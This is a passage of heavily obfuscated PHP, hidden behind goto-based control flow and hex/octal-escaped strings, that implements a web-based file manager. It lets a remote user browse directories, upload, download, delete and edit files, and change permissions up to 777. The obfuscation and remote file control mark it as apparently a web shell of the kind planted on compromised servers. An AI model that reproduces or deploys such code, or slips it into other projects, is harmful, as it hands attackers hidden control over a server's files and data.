(@is_readable("\57\144\145\166\57\x75\162\141\156\144\x6f\x6d")) { goto wMCTu; } goto idKzG; ZMNLS: YzcwD: goto MwMAm; gamuf: goto GcKAb; goto E3qY6; TEfvL: goto ImMwL; goto rDVdC; K00zs: sIuJT: goto mjpU8; MwMAm: ibdIl: goto aWVXG; M8JID: Cc031: goto a3gMc; mzZUz: W_K45: goto jvQ7d; ZVQNE: $tvl5k = @fopen("\x2f\144\145\x76\x2f\165\162\141\x6e\x64\157\155", "\x72\142"); goto ppcSO; AuCat: CXL7X: goto Le55r; QchYd: if ($lSJK7 < $sxRFL) { goto BRuIB; } goto k3tiF; YDOda: Zhvve: goto Uqj1B; kxzbC: dKD7X: goto gn3ih; y0UUz: ImMwL: goto iI3te; IVY7d: goto Cc031; goto STvuI; wjOAO: goto ukHz2; goto okF_b; PRb91: $lSJK7++; goto rOEZw; s4Uwe: goto Zhvve; goto WVGX_; ppcSO: goto n03IA; goto c9YI6; oMkE3: OY3r1: goto tm2EW; LIlDL: goto maNNl; goto pFYwF; VY30J: return $Qd9be; goto PPMt0; VW0s1: goto V_iRp; goto Yhnb4; aMLpO: goto axiX4; goto YDOda; b5_Tf: return W_XI3($sxRFL, CCiQQ); goto St18I; mM6Iv: xsUw2: goto TxHTB; JrjpF: xc0hN: goto nD6Ql; xvIZy: if ($Qd9be !== false && strlen($Qd9be) === $sxRFL) { goto qzCDf; } goto GQCMs; idKzG: goto ibdIl; goto TZ27_; IFO5X: goto W_K45; goto rdox0; AA4wY: goto YLymv; goto XVMDb; rHdFF: m7ITr: goto b5_Tf; VsLNN: jroef: goto KOvWN; Y2Aiq: if (!function_exists("\x6f\x70\145\156\163\163\154\137\x72\141\156\x64\x6f\155\x5f\x70\x73\x65\x75\144\x6f\x5f\142\171\164\x65\x73")) { goto OY3r1; } goto PNPB5; GQCMs: goto c3bli; goto J96TB; T3A2I: goto m7ITr; goto kEaJ_; tm2EW: goto S9J6N; goto JrjpF; eabPE: ukHz2: goto xvIZy; TxHTB: return $Qd9be; goto IFO5X; VTWK6: goto idc6g; goto iioxJ; JYFmF: idc6g: goto LIlDL; ZeVF6: goto DN7YG; goto mM6Iv; w2IWB: PlKLe: goto VW0s1; pFYwF: NaMaz: goto K00zs; PEieK: if (!function_exists("\127\x5f\130\111\63")) { goto CXL7X; } goto T3A2I; lVaKg: if ($tvl5k) { goto MowBV; } goto OTVCi; TZ27_: wMCTu: goto XccNK; l5B_E: $Qd9be = fread($tvl5k, $sxRFL); goto s4Uwe; xGVPJ: return ''; goto PqKD5; MOqr6: goto mX6gl; goto DR4MD; vykUW: $Qd9be = openssl_random_pseudo_bytes($sxRFL, $Xw0B_); goto L3tA5; FsON5: goto uMrAR; goto a_jJc; c9YI6: lVJPu: goto PRb91; DR4MD: UMbAh: goto l5B_E; aWVXG: goto pXov_; goto dffKA; a3gMc: $Qd9be .= chr(mt_rand(0, 255)); goto ZeVF6; Yhnb4: goto NaMaz; goto M8JID; IohXi: l5JyF: goto EXj2a; dffKA: xxGhP: goto a3yYH; OTVCi: goto mIObI; goto AKBNk; gn3ih: return $Qd9be; goto TEfvL; rOEZw: goto PlKLe; goto y0UUz; jvQ7d: c3bli: goto K2rSR; K2rSR: goto xxGhP; goto CDS3D; soOmj: if ($sxRFL <= 0) { goto sAub1; } goto AA4wY; a3yYH: mIObI: goto DUtZ1; Q6rCc: $lSJK7 = 0; goto rttdw; XccNK: goto fOjdy; goto uW0rf; rttdw: goto jroef; goto PS1mg; Sutb2: goto UMbAh; goto mzZUz; DUtZ1: goto YzcwD; goto rHdFF; iI3te: } } goto nE8Yf; JrMeX: JGz1T: goto TWdhB; P9pQP: header("\x43\157\156\164\x65\x6e\164\55\x44\x69\163\160\157\163\151\164\x69\x6f\x6e\x3a\x20\x61\x74\x74\141\x63\x68\x6d\145\x6e\164\x3b\40\146\151\154\145\x6e\141\x6d\145\75\42" . $ChNv3 . "\x22"); goto rk16Z; hwOgV: header("\103\x6f\156\x74\x65\156\164\x2d\104\x69\x73\160\x6f\163\151\x74\x69\157\156\x3a\40\141\x74\x74\x61\143\150\155\145\x6e\x74\73\x20\x66\151\154\145\156\141\155\x65\x3d\x22" . basename($Yvvjn) . "\42"); goto ZhHcb; So2Xg: gpoAk: goto VxCy0; HGl9E: YFaNl: goto HgLex; faMDK: WisQs: goto TFOeu; mWI5U: goto iMdge; goto cykA0; q2s31: m8z27: goto s4yrW; rMJFk: goto KCnKV; goto wmBwK; C1tF1: goto boUtJ; goto hGvk2; rWMrZ: header("\x43\157\156\x74\145\156\164\55\114\145\x6e\147\164\150\72\40" . @filesize($GId_d)); goto kq3mk; rdFjs: Bfv9m: goto i4TG2; RJ96x: goto RZ3Os; goto rp1IA; KIebr: goto J5IJs; goto JI5lR; D6J3s: goto Kbjbc; goto rcOBM; PUO0p: goto OiWcs; goto BXRK8; N9tzE: if (isset($_POST["\147\x6f\164\x6f"]) && !$uBM29) { goto JXX8J; } goto L9coj; pBJjw: kISol: goto xDG2i; S2zH1: header("\x43\157\x6e\164\145\x6e\x74\55\124\171\x70\145\72\40" . $Qg52d); goto ojcT4; n0fxX: j2lvW: goto WO4Ii; u3TCR: lKi5I: goto aJYPC; qR1CB: goto Z63_D; goto pN6gL; LAldB: AtEBr: goto pGEQJ; Vr9aq: Zf8lX: goto ozLkN; XvlcO: goto wIQFz; goto lC27x; djOnD: echo DkZcY(); goto sDQT9; DSwUM: goto FzRKp; goto WPnfr; GT7wM: ZIpwL: goto U10f2; qMrG1: IFlwA: goto bLOe0; itdL2: $uBM29 = true; goto uBaw_; m94Wc: @ini_set("\163\x65\x73\x73\x69\x6f\x6e\56\143\x6f\157\x6b\x69\145\137\x73\141\x6d\x65\163\x69\164\145", "\114\x61\x78"); goto gqQ87; UPy1z: c_B3j: goto nd0nt; As1nM: gQIcs: goto DlvPw; oQYQ7: aKsDH: goto We4DQ; aL00D: $Ha841 = "\104\145\154\145\164\x65\x20\146\141\151\154\x65\x64\x3a\x20\120\x65\x72\155\151\163\163\151\157\156\40\x64\145\x6e\x69\x65\x64\40\157\162\40\146\151\154\145\40\151\156\x20\x75\163\x65"; goto E_Ukl; YBYNa: goto cvyuc; goto nomMf; ArAF5: p73PE: goto MAsUd; hx_F3: g_8XC: goto KhbBO; esxzO: H2sbB: goto f4U1o; gpizO: goto g9QTo; goto JMKxz; VLOQA: goto ApSUr; goto wE1X6; kxhh8: ZL6c_: goto tlTK4; fHHcR: uZzLW: goto WV_zc; BsCOm: goto a0YvC; goto PNdo4; QrQa7: goto Mpnx0; goto QtToz; VxQxj: V58Wz: goto uGm__; hLEY_: ofE9R: goto b5PkO; gc7f9: $Ha841 = "\x43\x68\155\157\144\40\146\141\x69\154\x65\144\x3a\40\x50\x65\162\155\x69\163\163\x69\157\156\40\144\145\x6e\x69\x65\144"; goto eIJBg; CSI_P: WLzjK: goto zD6Cu; Vplrn: goto iSugR; goto a6UUX; VhGHG: ReXRD: goto BYERP; NiOJs: zSy1v: goto r3u3h; q8yEw: goto NMO8C; goto BKP9S; ONQbZ: zYioU: goto F0aCE; ecCkz: goto oTXzi; goto Agzrl; iSy9p: goto MLZfn; goto JrMeX; koBA4: goto ezJU2; goto aMqlL; uZTpi: LrgDN: goto ciert; yHyNf: oTCKd: goto F6GQh; Da_U3: $Ha841 = "\103\162\145\141\x74\x65\x20\x66\141\x69\154\145\144\x3a\40\x49\156\x76\x61\154\x69\x64\40\x66\157\x6c\x64\145\162\x20\x6e\x61\155\145"; goto FZGHQ; gpZOK: exit("\x49\156\x76\141\154\151\144\40\144\x69\x72\145\x63\164\157\x72\171"); goto oyvGN; gAJD1: $Ha841 = "\105\x64\x69\164\40\146\141\151\x6c\145\x64\x3a\40\x46\x69\154\145\x20\x6e\157\164\x20\167\x72\x69\x74\x61\x62\154\145"; goto ecCkz; usK6S: $H_eTv = $_POST["\147\157\164\157"]; goto cUdya; ImqfR: QSzmO: goto J8Qex; gOSx9: RHex7: goto IPH3M; D6wmY: goto g_8XC; goto T21ak; xDCXo: goto XgOfg; goto vKC8d; lkKnm: BB_i2: goto xdTJC; KrKB9: RGgDI: goto KcEjK; kQJ5z: Xzq9P: goto xbTfV; ZKfgF: goto DZZTW; goto nAzP_; xa7eP: CCCkv: goto WTNAx; TUfF2: goto uEV1r; goto O4TIj; tTll0: KlhN3: goto gAJD1; ftM83: echo "\x20\x20\40\40\x20\40\x20\x20\x3c\57\x64\x69\166\76\xa\40\x20\x20\x20"; goto uizvF; YJmYe: jFoDG: goto em94C; Cguxt: Cscq3: goto sLT9R; baELh: MB7Z8: goto syZ0O; RcIBA: goto N6Aoi; goto dgx0P; ZcTKY: $gGqEA = ''; goto tWtPq; RnnKi: goto wIl3s; goto yP95K; m0Kq1: goto tzJy9; goto Dd_9V; GdbuV: goto vbSpk; goto ueDhA; SmW7n: MNtpL: goto bPsZn; U6DTJ: c24oL: goto trEKx; uzSLP: MVL2t: goto cCedI; yWDfh: Kw13o: goto QVQ3M; blM3A: @ob_end_clean(); goto zOQmy; JI5lR: nyL5f: goto hpVBm; RSBN6: goto SdVSX; goto IUFBT; FLvJh: CuoGI: goto lnRFi; koi2S: goto GPqhC; goto RDkyh; hD08o: goto jetIQ; goto YHTWv; oEhZv: goto oX5V7; goto HgNcT; Mu3V2: @chdir($zjHJ0); goto nmhNS; sNkVv: pBwmN: goto Gjwvv; Xg_3J: vhEjj: goto DvKuO; lnT8e: goto rUVUP; goto esxzO; VCZr3: X6zpI: goto OwheA; RwaYY: XgOfg: goto Bu1iS; WV_zc: echo htmlentities($FVOST); goto m2WFy; CKUJY: goto b4kc1; goto gUghk; i20Fl: GtZV4: goto tssq6; qVja0: goto BB_i2; goto MYTQK; Gjwvv: FEGW0: goto AKBkr; fccK0: goto rjPVu; goto oubtH; Usxz1: goto xWl9O; goto MzoLm; cUdya: goto Az7oK; goto Xwv_S; wAGjq: w7445: goto A3AqQ; LT6yZ: eLd0x: goto z0yQB; TxPbH: $qHOUX = isset($_POST["\x70\145\x72\155\163\x5f\x69\164\145\x6d"]) ? $_POST["\160\x65\162\155\x73\137\151\x74\145\155"] : null; goto T_Hcy; Fu5gx: Wx9p_: goto Av6aS; emBik: goto VjHlr; goto i20Fl; pJvM0: echo dKZcy(); goto K0d2Q; vnPDs: NfAgE: goto i3YL4; gExv0: HL9U6: goto fLhLF; vzSCi: oFJ6K: goto avTua; u20ji: N47ZA: goto evHgg; bWG18: xXNOq: goto y2DI4; e10SG: function dkzcY() { return "\x3c\151\156\x70\x75\x74\40\164\x79\x70\x65\x3d\42\x68\151\x64\x64\x65\156\x22\40\156\141\155\145\75\42\137\x63\x73\x72\x66\x5f\164\157\153\145\156\42\40\x76\x61\x6c\165\145\x3d\x22" . htmlentities(V4VI6()) . "\42\76"; } goto aixLQ; XBQ6W: goto IY7pQ; goto FF0xS; zq06m: if (!is_array($XqpLW)) { goto Pn_5o; } goto fzFpR; B1Xso: goto R9x_A; goto Bdwmk; cUEi8: goto BbL3l; goto fbgsb; kxjAB: GvokW: goto EicWK; JSj2U: VSiRA: goto FlCH_; KhbBO: exit("\x55\x70\154\157\141\x64\40\x66\141\151\154\145\x64"); goto tjmYs; yWzuH: goto R8JpY; goto j2sxn; jj8Fb: goto ipmWn; goto NiOJs; MxPjN: goto w4_Fm; goto og22H; Y6xxS: goto O6go2; goto uAht4; AYLcf: goto tUSh5; goto Kch0r; LSG2R: GDA_I: goto pMekR; KWHVv: SRYRF: goto DKZbQ; pB5os: sgjZu: goto HPWqi; zubJJ: orOPt: goto pW3Sa; bQJnc: $BIRKS = dirname($a_Vf4) . DIRECTORY_SEPARATOR . basename($_POST["\164\x6f\137\x6e\141\155\x65"]); goto bSEvR; UNnBd: UpKJ9: goto adWvv; Pxxyu: goto ozcKb; goto q977X; eIJBg: goto Kt6uQ; goto ImqfR; c344A: N6Nr0: goto KV5Nz; PA54M: s2STS: goto aPHPh; tQniB: aACD9: goto usK6S; YERrk: if (!@is_dir($Yvvjn)) { goto V6olU; } goto XFXK4; xYCG4: goto hG8oZ; goto pI9Vy; BfaMg: goto HtR_k; goto oeR7W; ceHDg: goto Sui5f; goto WYPTd; GWPPb: QvXjN: goto bTex8; t2KNL: oaP51: goto yNMPI; n1Jeu: goto nZxaa; goto bvZwo; yVoFK: CuTXk: goto vb04G; riU2f: goto lkYzR; goto JEmpm; ZhHcb: goto kszEX; goto iN72d; aMqlL: tF8f8: goto rnYdD; kGvzo: vqhLL: goto ZWZ88; nhzXw: Rm7CP: goto wDNKj; U9HOi: rpgrg: goto El_M3; udDOF: http_response_code(400); goto YE2C8; OPFA2: f2gef: goto YJ9Yv; c7YgC: WpMnw: goto zrjxB; xZ7tB: goto GvokW; goto So2Xg; uUYU1: c8gnI: goto Y8pru; qkLQO: goto FaP_p; goto E8T57; TgYYF: h7AOW: goto RQw99; it9Hd: Zdq_X: goto lzn37; lC27x: nvNmr: goto VdSqd; rp1IA: vbSpk: goto QM6RY; K5dgv: if (isset($_POST["\163\145\x74\137\160\x65\162\x6d\x73"], $_POST["\x70\x65\x72\x6d\137\x76\x61\x6c"])) { goto kISol; } goto Ew1hV; lnRFi: echo "\40\x20\x20\x20\x20\40\40\x20\x20\x20\x20\40\74\x69\156\x70\x75\x74\40\164\x79\160\x65\75\42\150\151\x64\x64\x65\x6e\x22\40\151\x64\75\x22\x63\x68\x6d\157\144\x49\x74\145\155\42\x20\x6e\x61\155\x65\x3d\x22\163\x65\164\137\x70\x65\x72\155\163\42\40\166\141\154\165\145\75\x22\x22\76\xa\40\40\40\40\x20\40\x20\40\40\40\x20\x20\x3c\x64\x69\x76\x20\143\154\141\163\163\75\42\143\x68\x6d\x6f\x64\x2d\147\162\151\x64\x22\x3e\12\x20\x20\40\40\40\x20\x20\40\x20\40\x20\x20\40\x20\40\x20\74\144\151\166\40\143\x6c\x61\x73\163\75\x22\x63\150\155\157\144\55\147\162\x6f\165\160\x22\76\12\x20\x20\x20\x20\x20\40\x20\x20\40\x20\40\40\x20\40\40\x20\40\40\x20\40\x3c\x64\x69\x76\x20\x63\x6c\141\163\x73\75\42\143\x68\x6d\x6f\144\x2d\147\162\157\165\x70\55\x6c\x61\x62\145\x6c\42\76\117\x77\x6e\x65\x72\74\57\144\151\166\x3e\12\x20\40\x20\40\x20\40\x20\40\x20\40\40\x20\40\40\x20\x20\40\x20\40\x20\74\144\151\166\x20\x63\x6c\x61\163\x73\x3d\42\x63\150\x6d\157\144\55\143\150\x65\143\153\142\x6f\x78\x65\x73\42\76\12\x20\x20\x20\40\x20\40\40\x20\x20\40\x20\40\40\x20\x20\40\40\40\40\x20\40\40\40\x20\74\x6c\141\142\145\x6c\76\x3c\x69\x6e\x70\165\164\40\164\x79\x70\145\x3d\x22\143\150\145\x63\x6b\142\157\x78\x22\x20\151\x64\x3d\x22\x6f\167\156\145\x72\137\162\145\141\144\x22\40\x6f\x6e\x63\150\x61\156\147\x65\75\x22\x75\x70\144\x61\x74\x65\103\x68\155\157\144\x46\x72\x6f\155\x43\x68\145\x63\x6b\x62\x6f\x78\145\x73\x28\51\x22\76\x20\122\74\x2f\154\x61\142\x65\154\76\xa\x20\x20\x20\x20\x20\40\40\x20\x20\40\40\40\40\40\x20\x20\40\x20\x20\40\40\x20\x20\x20\x3c\x6c\141\142\x65\154\x3e\x3c\151\156\160\165\164\40\164\171\160\x65\75\42\143\x68\145\x63\x6b\x62\157\x78\42\x20\x69\144\75\x22\x6f\167\156\x65\162\137\x77\162\x69\x74\145\x22\40\x6f\156\x63\x68\x61\156\147\x65\x3d\42\x75\x70\144\141\164\145\103\150\155\x6f\x64\106\162\x6f\x6d\103\150\145\143\153\142\x6f\x78\145\163\50\x29\x22\x3e\x20\x57\74\57\154\141\142\145\x6c\x3e\xa\x20\x20\x20\40\40\40\40\x20\40\x20\x20\x20\40\40\40\40\40\x20\40\40\40\x20\40\x20\74\154\x61\142\145\154\x3e\74\x69\156\x70\x75\x74\x20\x74\171\x70\x65\75\42\143\150\145\143\153\142\157\170\x22\40\151\x64\x3d\x22\157\x77\156\x65\162\x5f\x65\170\145\143\165\x74\145\42\x20\157\156\x63\150\141\156\x67\145\75\42\165\160\x64\x61\x74\145\103\150\155\157\x64\x46\162\157\155\x43\150\x65\143\153\142\157\x78\x65\163\50\51\42\76\x20\x58\x3c\57\x6c\141\x62\x65\154\x3e\xa\x20\x20\x20\40\40\40\x20\x20\40\x20\x20\40\x20\x20\x20\40\x20\40\x20\40\74\57\x64\x69\x76\76\xa\40\x20\x20\x20\x20\x20\x20\40\x20\40\40\x20\40\x20\x20\x20\x3c\x2f\x64\151\166\76\12\x20\x20\40\40\x20\x20\40\40\40\x20\40\40\x20\x20\x20\x20\74\144\x69\x76\40\x63\154\141\163\x73\x3d\42\x63\x68\x6d\157\144\x2d\x67\162\157\165\160\42\76\12\x20\x20\x20\40\x20\x20\40\x20\x20\x20\40\40\x20\40\x20\x20\x20\x20\40\40\x3c\x64\151\x76\x20\143\154\x61\163\x73\75\42\x63\x68\155\x6f\144\55\x67\x72\157\x75\x70\x2d\x6c\141\142\145\x6c\42\76\107\162\x6f\165\x70\x3c\57\144\x69\166\76\12\x20\40\x20\40\40\40\x20\x20\x20\x20\x20\40\40\x20\40\x20\40\x20\40\40\74\x64\151\x76\x20\x63\154\x61\163\163\75\42\x63\x68\x6d\x6f\x64\55\143\150\145\143\x6b\x62\157\x78\145\163\x22\x3e\xa\40\x20\40\x20\40\x20\40\x20\x20\x20\x20\40\40\40\x20\40\x20\x20\40\x20\40\40\x20\x20\74\x6c\x61\x62\145\x6c\x3e\74\x69\156\x70\x75\164\x20\164\171\x70\x65\x3d\42\143\150\145\143\153\x62\157\x78\42\x20\151\x64\75\x22\x67\162\157\165\160\x5f\x72\x65\141\144\x22\40\x6f\x6e\143\x68\x61\156\147\x65\75\42\165\160\x64\141\x74\145\103\x68\155\157\144\x46\162\x6f\155\103\x68\145\143\x6b\x62\157\x78\145\x73\50\51\42\76\x20\122\x3c\57\x6c\141\142\145\x6c\76\12\40\40\x20\x20\40\x20\x20\40\x20\x20\x20\x20\40\x20\x20\x20\x20\x20\40\40\x20\40\40\x20\x3c\x6c\141\x62\x65\x6c\x3e\x3c\x69\156\160\165\x74\x20\164\x79\x70\145\x3d\x22\143\x68\145\143\153\x62\x6f\x78\42\x20\x69\x64\x3d\42\147\x72\x6f\165\160\137\x77\162\x69\x74\145\42\x20\x6f\156\x63\x68\141\x6e\147\x65\x3d\42\165\160\144\x61\x74\145\x43\150\x6d\157\144\x46\162\157\155\103\x68\145\143\153\142\x6f\x78\x65\x73\50\x29\x22\76\40\x57\x3c\57\x6c\x61\x62\x65\154\76\xa\x20\40\x20\40\x20\40\40\40\40\x20\x20\40\40\x20\x20\40\x20\40\40\40\40\40\x20\40\74\154\141\x62\x65\x6c\x3e\x3c\151\x6e\x70\165\164\40\x74\x79\160\x65\75\x22\x63\150\145\x63\x6b\x62\157\x78\x22\x20\151\x64\x3d\x22\147\x72\x6f\x75\160\x5f\145\x78\145\x63\x75\164\x65\42\40\157\x6e\143\150\x61\156\x67\x65\x3d\42\165\x70\144\141\x74\145\x43\150\155\157\144\x46\162\157\155\103\x68\145\143\x6b\142\157\170\x65\x73\50\x29\42\x3e\x20\x58\x3c\57\154\x61\142\x65\154\76\xa\40\40\x20\x20\40\40\x20\40\40\x20\40\40\x20\x20\40\x20\40\40\40\40\74\x2f\144\x69\x76\x3e\12\x20\x20\40\40\40\x20\40\40\40\x20\x20\40\x20\40\40\40\x3c\x2f\x64\151\166\x3e\xa\x20\40\40\x20\40\40\x20\40\x20\40\40\x20\40\x20\x20\40\x3c\x64\x69\x76\x20\143\154\x61\x73\x73\x3d\x22\143\x68\155\157\x64\x2d\147\x72\157\165\160\x22\x3e\12\40\x20\x20\x20\40\40\x20\40\40\40\x20\40\40\x20\x20\40\x20\x20\x20\40\74\x64\x69\x76\40\x63\154\141\x73\x73\x3d\x22\x63\x68\155\157\x64\x2d\x67\x72\x6f\x75\x70\55\154\x61\x62\145\154\x22\x3e\x4f\x74\150\x65\x72\x3c\x2f\x64\151\x76\x3e\12\x20\40\40\40\40\x20\x20\x20\x20\40\40\x20\x20\40\x20\40\40\x20\x20\x20\x3c\x64\x69\x76\x20\143\154\141\163\163\x3d\42\x63\150\x6d\x6f\144\x2d\143\150\x65\x63\x6b\x62\157\170\145\163\42\x3e\xa\40\40\x20\40\x20\x20\40\x20\40\40\40\40\40\x20\40\x20\40\40\x20\40\40\40\40\40\x3c\x6c\141\142\x65\x6c\x3e\x3c\x69\x6e\x70\x75\164\40\x74\171\x70\145\x3d\42\143\150\145\143\x6b\x62\x6f\x78\42\40\x69\144\75\x22\x6f\164\x68\145\162\137\x72\145\141\144\x22\x20\x6f\156\x63\150\x61\156\x67\145\75\42\x75\160\144\x61\164\x65\103\150\x6d\x6f\144\106\x72\157\x6d\x43\150\145\143\x6b\x62\x6f\x78\145\x73\50\51\x22\x3e\x20\122\74\57\154\141\x62\145\x6c\x3e\xa\x20\40\x20\x20\x20\40\x20\40\x20\x20\40\x20\x20\x20\40\x20\40\x20\40\x20\40\40\x20\40\x3c\x6c\x61\x62\x65\x6c\x3e\74\151\x6e\x70\165\164\x20\164\x79\x70\x65\x3d\x22\143\150\x65\x63\153\x62\x6f\x78\x22\40\x69\144\x3d\42\x6f\x74\x68\145\162\137\167\x72\151\164\145\x22\40\157\x6e\143\x68\141\x6e\x67\x65\x3d\x22\165\x70\x64\141\x74\x65\x43\150\x6d\x6f\144\106\x72\x6f\155\103\150\145\x63\153\142\157\x78\x65\x73\x28\51\42\x3e\40\x57\x3c\x2f\154\141\x62\x65\x6c\76\xa\40\40\x20\40\x20\x20\x20\40\x20\x20\x20\40\40\x20\x20\x20\40\x20\x20\40\40\x20\40\x20\74\x6c\x61\x62\145\x6c\x3e\x3c\151\156\x70\165\164\x20\164\171\160\145\75\x22\x63\150\145\x63\153\142\157\170\x22\40\x69\x64\75\42\x6f\x74\x68\145\x72\x5f\145\170\x65\143\165\164\x65\x22\x20\157\x6e\143\150\x61\x6e\x67\145\75\x22\x75\160\144\x61\x74\x65\103\x68\155\x6f\x64\x46\162\157\x6d\103\150\145\x63\x6b\x62\x6f\x78\x65\163\x28\x29\42\x3e\40\130\x3c\57\154\141\x62\x65\154\x3e\xa\x20\x20\40\x20\x20\40\40\x20\x20\x20\x20\40\x20\x20\40\x20\x20\40\40\x20\x3c\57\144\x69\x76\x3e\12\40\x20\x20\40\x20\x20\40\40\x20\x20\40\x20\40\x20\40\x20\x3c\57\x64\151\166\x3e\xa\x20\40\x20\40\x20\40\x20\40\40\x20\40\40\x3c\57\x64\151\x76\x3e\12\40\x20\x20\x20\x20\40\40\x20\40\x20\40\x20\x3c\144\151\x76\x20\143\x6c\141\163\163\x3d\x22\155\157\144\141\154\x2d\142\157\144\x79\x22\x3e\xa\x20\40\40\x20\40\x20\40\40\x20\40\40\40\40\40\x20\x20\x3c\x64\x69\166\x20\163\164\x79\x6c\145\x3d\42\155\x61\162\x67\151\x6e\x2d\x62\x6f\164\x74\157\155\x3a\x20\x31\x36\160\170\73\x20\x74\145\170\164\55\x61\154\151\147\156\x3a\x20\x63\145\156\x74\145\x72\73\x22\x3e\12\x20\x20\40\40\x20\x20\x20\40\40\x20\x20\40\40\40\x20\40\x20\40\x20\40\x3c\151\x6e\160\165\x74\x20\164\x79\x70\x65\75\42\164\145\x78\164\x22\x20\x69\144\x3d\x22\143\150\x6d\x6f\x64\117\143\164\x61\154\x22\x20\x6e\x61\155\145\75\x22\x70\x65\162\x6d\x5f\x76\x61\x6c\42\x20\x6d\141\170\x6c\145\156\147\x74\x68\x3d\x22\x33\42\40\x73\x74\x79\154\x65\75\42\x77\151\144\x74\150\72\x20\x37\60\160\170\x3b\40\x74\x65\170\164\x2d\x61\x6c\151\147\156\x3a\40\x63\145\x6e\x74\x65\x72\x3b\40\146\157\x6e\164\x2d\146\141\x6d\151\154\x79\x3a\40\x27\112\x65\164\x42\162\141\x69\156\x73\40\115\x6f\x6e\x6f\47\54\40\x6d\x6f\x6e\x6f\x73\x70\141\143\145\73\42\x3e\xa\x20\x20\40\40\x20\x20\40\x20\x20\x20\40\x20\40\x20\x20\x20\x3c\57\x64\151\x76\x3e\xa\40\40\x20\x20\40\40\40\40\40\40\40\x20\x20\x20\40\40\x3c\x64\151\166\x20\x73\x74\x79\x6c\x65\x3d\42\x6d\141\x72\147\x69\156\55\x62\157\164\x74\157\x6d\72\x20\x31\x35\x70\170\x3b\x20\x64\151\163\x70\x6c\x61\171\72\x20\x66\154\x65\x78\73\40\147\141\x70\72\40\70\x70\x78\73\x20\146\x6c\x65\x78\x2d\167\x72\x61\160\x3a\40\167\162\141\160\x3b\42\76\xa\x20\40\40\x20\x20\x20\x20\40\x20\40\x20\x20\x20\x20\40\x20\x20\x20\40\x20\x3c\x62\x75\164\164\x6f\x6e\x20\164\x79\x70\x65\75\42\142\165\x74\x74\157\156\x22\x20\143\x6c\141\x73\x73\75\x22\x62\164\x6e\x20\x62\x74\156\55\x67\x68\x6f\x73\164\x20\x62\164\x6e\55\163\x6d\42\x20\157\x6e\143\154\x69\x63\x6b\75\42\x73\145\164\120\162\x65\x73\145\x74\x43\x68\155\x6f\144\50\47\67\65\x35\47\51\x22\76\67\65\65\x20\50\x44\x65\x66\141\165\154\164\x29\74\57\142\165\164\164\x6f\156\x3e\12\40\x20\x20\40\x20\40\x20\x20\40\x20\x20\x20\40\40\40\x20\x20\x20\40\40\74\142\x75\164\x74\157\156\x20\164\171\160\x65\75\42\x62\165\164\x74\157\x6e\42\40\x63\x6c\141\x73\163\x3d\42\142\164\x6e\40\142\x74\x6e\55\147\x68\x6f\x73\164\x20\x62\x74\156\x2d\x73\155\x22\x20\157\x6e\x63\154\x69\x63\x6b\x3d\x22\x73\145\164\120\162\x65\163\145\x74\x43\150\155\x6f\x64\50\x27\66\x34\64\x27\x29\x22\76\66\x34\64\x20\50\x46\x69\154\x65\51\x3c\x2f\142\x75\x74\164\x6f\156\x3e\12\x20\x20\x20\40\40\40\x20\x20\40\x20\x20\40\x20\x20\40\40\40\x20\40\x20\74\142\165\x74\x74\157\156\40\x74\171\x70\x65\75\42\142\x75\164\x74\x6f\156\x22\x20\x63\x6c\x61\163\163\x3d\42\142\164\x6e\40\142\x74\x6e\55\x67\150\x6f\163\x74\x20\x62\164\156\x2d\163\x6d\x22\x20\x6f\x6e\143\x6c\151\x63\x6b\x3d\x22\x73\x65\x74\120\162\145\x73\145\164\x43\x68\x6d\157\x64\x28\x27\x37\x37\67\x27\x29\x22\76\x37\67\x37\x20\50\101\154\154\51\74\x2f\x62\x75\164\x74\x6f\x6e\x3e\12\40\40\x20\x20\x20\40\x20\40\x20\40\x20\x20\x20\x20\40\40\74\x2f\144\151\x76\76\12\40\x20\x20\x20\40\40\x20\x20\40\x20\40\40\40\40\x20\40\74\144\x69\x76\40\x73\x74\171\154\x65\x3d\x22\144\151\163\x70\154\x61\x79\72\40\146\154\x65\170\x3b\40\x67\141\160\72\x20\70\x70\x78\73\42\76\12\40\x20\x20\x20\x20\x20\40\x20\x20\40\40\x20\40\x20\40\x20\x20\x20\40\x20\x3c\142\165\x74\164\157\x6e\x20\164\x79\x70\145\75\42\x73\165\x62\155\x69\164\42\40\x63\154\141\163\163\75\42\x62\164\x6e\x20\x62\164\156\x2d\x70\x72\151\155\141\x72\171\42\x3e\101\x70\x70\x6c\x79\x20\103\150\141\156\x67\145\x73\74\57\142\165\164\164\157\x6e\76\xa\40\40\40\40\40\x20\40\40\x20\40\x20\40\40\40\40\x20\x20\x20\x20\x20\74\x62\165\164\164\157\156\40\x74\171\x70\145\75\42\x62\165\164\164\157\x6e\42\40\x63\x6c\x61\x73\x73\x3d\x22\x62\164\156\x20\142\164\156\x2d\147\150\x6f\x73\164\x22\40\157\156\143\x6c\x69\x63\153\75\x22\143\154\157\x73\145\x43\150\x6d\157\144\115\x6f\x64\141\154\50\x29\42\76\x43\x61\156\143\x65\154\74\x2f\x62\165\x74\164\x6f\156\76\xa\40\x20\40\40\x20\40\40\x20\40\x20\40\40\x20\40\x20\40\74\x2f\x64\151\x76\76\xa\40\40\40\x20\x20\40\x20\40\x20\x20\x20\x20\x3c\x2f\144\x69\x76\76\xa\x20\x20\40\x20\x20\40\40\40\74\x2f\146\157\x72\155\76\12\x20\40\x20\40\x3c\57\144\x69\x76\x3e\12\x3c\57\x64\151\166\x3e\12\xa\74\x2f\142\x6f\x64\x79\76\12\74\x2f\150\x74\x6d\x6c\x3e\xa"; ?>